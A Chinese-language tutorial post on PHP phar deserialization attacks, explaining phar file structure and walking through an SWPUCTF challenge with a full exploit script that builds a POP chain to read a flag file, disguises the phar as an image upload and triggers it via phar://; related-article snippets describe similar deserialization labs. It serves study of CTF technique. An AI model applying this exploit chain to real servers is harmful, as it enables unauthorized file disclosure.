<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    淺析phar反序列化漏洞攻擊及實戰

    VSole2021-07-16 08:06:28

    前言 

    phar反序列化漏洞很久之前就開始接觸了;因為當時出了點問題導致一直無法成功,所以當時直接去學習其他的漏洞了;今天覺得是時候把這個漏洞補上去了;

    漏洞成因 

    phar文件會以序列化的形式存儲用戶自定義的meta-data;該方法在文件系統函數(file_exists()、is_dir()等)參數可控的情況下,配合phar://偽協議,可以不依賴unserialize()直接進行反序列化操作

    原理分析 

    phar的組成

    通過查閱手冊發現phar由四部分組成;翻閱手冊可以知道,phar由四個部分組成,分別是`stub、manifest describing the contents、 the file contents、 [optional] a signature for verifying Phar integrity (phar file format only)` 下面進行解釋一下;

    1 .0 a stub

    標識作用,格式為xxx<?php xxx; __HALT_COMPILER();?>,前面任意,但是一定要以__HALT_COMPILER();?>結尾,否則php無法識別這是一個phar文件;

    2 .0 a manifest describing the contents

    其實可以理解為phar文件本質上是一中壓縮文件,其中包含有壓縮信息和權限,當然我們需要利用的序列化也在里面;

    3 .0 the file contents

    這里指的是被壓縮文件的內容;

    4 .0 [optional] a signature for verifying Phar integrity (phar file format only)

    簽名,放在結尾; 試驗 

    這里引用開心師傅給的一個實例;來進行生成;

    ```php <?php  class TestObject {  }  @unlink("phar.phar");  $phar = new Phar("phar.phar"); //后綴名必須為phar  $phar->startBuffering();  $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub  $o = new TestObject();  $phar->setMetadata($o); //將自定義的meta-data存入manifest  $phar->addFromString("test.txt", "test"); //添加要壓縮的文件  //簽名自動計算  $phar->stopBuffering(); ?> ```

    然后在服務器之下運行,發現成功生成phar文件;

    然后打開這個phar文件,我們發現已經成功;并且數據的存儲方式是以序列化的方式存儲的; 那么既然有序列化,那么就一定有反序列化,php的很多文件系統函數在通過phar://偽協議解析phar文件的時候。都會將mate-data進行反序列化。

    將phar偽造為其他類型的文件

    前面在講的時候已經介紹了phar的四個部分,這里注意到第一個部分stub;因為這個部分的存在,縱然我們修改了phar后綴,服務器讀取到stub的時候依然會當作phar文件;再準確點講就是下面的代碼;(二進制的編譯器有點問題,簡單用記事本來看看;)也還是可以發現是以序列化形式存儲的;

    實戰

    拿一道 SWPUCTF 中的一道題目來講;進去就發現了包含漏洞,然后直接讀取源碼,發現并沒有對phar進行過濾;而且源代碼里有提示,所以差不多實錘了,就是phar反序列化漏洞了; 直接來對關鍵的代碼進行分析;class.php 這里面看到有三個類,再明顯不過了,這就是主要的pop鏈的構造處;然后發現了危險的函數 file_get_contents();那看來就是利用這個讀源碼了;

    一步步分析;先看到C1e4r這個類里面有echo;那要利用echo;以達到輸出字符串的目的;

    然后看到show類里有一個 __toString()方法,這個方法在對象被轉化為字符串的時候會自動調用;比如進行echo print的時候會進行調用并返回一個字符串;

    然后審計Test類,發現file_get_contents()函數,那就是利用了;一步一步向前追溯 file_get->get->__get();這里主要還是調用__get()方法; 那么這里思路差不多清晰了;簡單來講;在test類中要調用__get方法,那么觸發這個方法我們需要在show類里尋,因為這個類里面運用了source屬性,所以只需要將 str['str'] 賦值為 Test類就可以,那么觸發 __toString()方法就需要用到我們的第一個類里面的echo了; 那么思路清晰就構造處pop鏈;

    exp編寫

    <?php class C1e4r {  public $test;  public $str; } class Show {  public $source;  public $str; } class Test {  public $file;  public $params; } $c1e4r = new C1e4r(); $show = new Show(); $test = new Test(); $test->params['source'] = "/var/www/html/f1ag.php"; $c1e4r->str = $show;  $show->str['str'] = $test; $phar = new Phar("exp.phar"); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ? >'); $phar->setMetadata($c1e4r); $phar->addFromString("exp.txt", "test"); $phar->stopBuffering(); ?>

    生成phar文件,改后綴為gif繞過限制,上傳之后進入upload目錄之下(或者根據源代碼算出上傳后的文件名),復制文件名到讀取文件的窗口讀取 file=phar://xxxxxx.jpg然后得到base64的編碼解碼就好。

    PHP安全特性之偽協議http://hetianlab.com/expc.do?ec=ECIDa96d-c30c-45f2-b109-1adb6a9fc2ee&pk_campaign=maibo-wemedia(通過該實驗了解php中的偽協議的應用及攻擊手段研究,能熟練使用burpsuite、中國菜刀等安全工具的使用。)

    序列化php
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    php序列化初探
    2023-04-23 09:50:02
    php中的反序列化漏洞通過控制php中的魔術方法,傳入構造的惡意反序列化后的字符串,通過魔術方法觸發反序列化漏洞,執行我們的惡意代碼。注意反序列化構造的類名必須和源碼中的一致,不能新生成一個類名。執行eval方法需要調用action()方法,action()方法的調用可以再ClassA的__destruct中調用
    phar反序列化漏洞很久之前就開始接觸了;因為當時出了點問題導致一直無法成功,所以當時直接去學習其他的漏洞了;今天覺得是時候把這個漏洞補上去了;
    為解決實驗室,編輯會話cookie中的序列化對象以利用此漏洞并獲得管理權限。然后,刪除 Carlos 的帳戶。您可以使用以下憑據登錄自己的帳戶:wiener:peter解決方案此實驗與權限提升有關,我們使用bp抓包,重點關注cookie1.登錄,查看我的賬戶頁面,bp發現cookie內容是序列化的。在Repeater中替換cookie,已經有了admin權限。
    Laravel 是一個廣泛使用的開源 PHP Web 框架。它可用于相對輕松地創建復雜的 Web 應用程序,并在許多流行的項目中使用。
    滲透測試面試指南
    2022-05-21 22:11:08
    前言一開始會問問你在工作中負責的是什么工作,參與過哪些項目。還有些會問問你之前有沒有護網的經歷,如果沒有的話一般都會被定到初級。下面就是一些技術上的問題了SQL注入的分類Boolean盲注。正向代理即是客戶端代理, 代理客戶端, 服務端不知道實際發起請求的客戶端.
    面試題記錄
    2021-12-12 06:44:03
    前言一開始會問問你在工作中負責的是什么工作,參與過哪些項目。還有些會問問你之前有沒有護網的經歷,如果沒有的話一般都會被定到初級。下面就是一些技術上的問題了SQL注入的分類Boolean盲注。正向代理即是客戶端代理, 代理客戶端, 服務端不知道實際發起請求的客戶端.
    unserialize()函數能夠重新把字符串變回php原來的值。為了能夠unserialize()一個對象,這個對象的類必須已經定義過。如果序列化類A的一個對象,將會返回一個跟類A相關,而且包含了對象所有變量值的字符串。將對象格式化成有序的字符串。序列化的目的是方便數據的傳輸和存儲,在PHP中,序列化和反序列化一般用做緩存,比如session緩存,cookie等。
    最近寫了點反序列化的題,才疏學淺,希望對CTF新手有所幫助,有啥錯誤還請大師傅們批評指正。php序列化簡單理解首先我們需要理解什么是序列化,什么是反序列化?本質上反序列化是沒有危害的。但是如果用戶對數據可控那就可以利用反序列化構造payload攻擊。
    正常來說一個合法的反序列化字符串,在二次序列化也即反序列化序列化之后所得到的結果是一致的。
    CVE-2021-36394-Moodle RCE漏洞分析及PHP序列化利用鏈構造之旅。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类